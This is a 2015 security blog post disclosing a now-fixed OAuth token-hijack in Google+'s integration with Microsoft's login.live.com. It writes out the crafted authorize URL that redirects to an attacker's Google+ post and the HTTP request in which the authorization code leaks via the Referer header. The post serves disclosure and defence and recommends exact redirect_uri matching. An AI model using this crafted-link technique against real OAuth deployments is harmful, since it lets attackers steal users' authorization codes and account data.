Tuesday, 16 June 2015

On (OAuth) token hijacks for fun and profit part #1 (Google/Microsoft integration)

Here we go again....
I have already blogged about (OAuth) token hijacks [1] [2] , but hey, things happens and re-happens :)
In the past I had mainly focused my attention on Authorization Servers weakness. As the cited Facebook's vulnerable regex pattern matching for redirect_uri.
It turns out that also OAuth client can screw things up and leak token (or authorization codes).
So here is the tl;dr:

If you are building an OAuth client,  
Thou shall register a redirect_uri as much as specific as you can

i.e. if your OAuth client callback is https://yourouauthclient.com/oauth/oauthprovider/callback then

  • DO register https://yourouauthclient.com/oauth/oauthprovider/callback 
  • NOT JUST https://yourouauthclient.com/ or https://yourouauthclient.com/oauth
The main reason behind this is that sometimes Authorization Server (AS) use exotic and unexpected redirect_uri validation policies.
As mentioned in some previous post the ONLY safe validation method the Authorization Server should adopt is exact matching (all the other potential solutions, based on partial matching i.e. pattern matching based on regex or allowing subdirectory of the registered redirect_uri, are suboptimal and sometimes even dangerous).
Now coming back to the attack, Google+ offers an interesting feature were is possible to connect Outlook contacts to Google+

So, to perform this integration, Google has registered an OAuth client in the Microsoft OAuth solution aka https://login.live.com. The OAuth client Google registered is: 000000004404170C. The mistake done by the Google engineers in this case was to register a “too open” redirect_uri. Indeed the request originated by Google toward login.live is https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/c/auth&state=.... 
The normal flow then looks something like:

According to the request above Google should have been registered the https://plus.google.com/c/auth as redirect_uri (since the redirect_uri request parameter above is of this form). As matter of fact they did register https://plus.google.com instead!!
Now, Microsoft (https://login.live.com/oauth20_authorize.srf in this case) adopts the allowing subdirectory validation strategy (same as Github) for redirect_uri (namely validates only the start of the URI and considers valid redirect_uri if everything else is appended after the registered redirect_uri).
In order to exploit this issue an attacker (me in this case) can create a public post in Google+ e.g. https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w

This public post contains a link to the attacker web page (in the example https://asanso.github.io).
Well the attack is almost complete. It is indeed enough for the attacker to craft a special URI of this form:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w and make the victim click on it.
To be noted that the crafted URI contains a redirect_uri that is equal to the malicious post (https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w).
The attacker was then able to change the flow to something like:

Since Google registered https://plus.google.com as redirect_uri and due the fact login.live.com adopts an allowing subdirectory validation strategy, https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w is a perfectly valid redirect_uri. What’s now then?
It is enough to “convince” the victim to click (this happens more often than anybody can imagine) the crafted link:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w the victim then will end up to something like
Note the code request parameter ends up being attached in the URI of the malicious post. Having the victim clicking to the link in the malicious post will make him end up to https://asanso.github.io. At this point the referrer will leak the authorization code.

GET https://asanso.github.io/ HTTP/1.1
Host: asanso.github.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w?code=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b&state=AFD_5tnkUDeb8GzlT-fkd1N5dH3unpyRXfG4sisFWPyR_ZSfklmXnI2uKR6d_s5W1kToGBJNJ4nhNY9qZBCrPErOjkyBHm_5t4lkO2slpYU8qU5K63lQJvMsXbdvbEOaS9nFR5xW2l4x_KflI-xIHQprP6ZvvVZL76Wu5d--3mVrSpQxsVP38JquxEffeDxX9uGpLHnlR_TODIUHwXvE786Ov-rhxb8EedkRP_yQBWwTn5D-YIm4BScrjR-AOg
Connection: keep-alive

The attacker can just grab the authorization code from the Referer header.

I did report this vulnerability to Google through the Google Vulnerability Reward Program (VRP)  and they immediately acknowledged the problem (and Yep got a bounty for it :):)). Do the peculiar nature of the issue (also being an integration) it took a while to be fixed (but now it is). The fix is of course easy and as stated above is enough to register a more specific redirect_uri (aka https://plus.google.com/c/auth in this case).

Well this is the end of part #1. I will have yet more to come on the same subject but can't disclosed right now since vendors are still on the verge of fixing those issues... hence as always DO stay tuned and if you are interested on this topic I am @asanso on twitter.

P.S. there is a similar issue discovered by Andris Atteka (now fixed). In his blog post he was wondering if this was a Relying Party (Google) or Authentication Provider (Microsoft) problem. I hope this blog post clarified that this was a Relying Party (small) mistake that can have unwanted side effect though.

P.S2. interesting enough the attack discovered by Andris Atteka in his post was based on OpenID 2.0. In the same time frame Google dismissed OpenID 2.0 support but this did not make the vulnerability going away :). Indeed was enough to craft yet another URI that exhibited (almost) the same effect:
The real fix deployed by Google was eventually the same as above (once more, again and again, the registration of a more specific redirect uri!! :D)

No comments: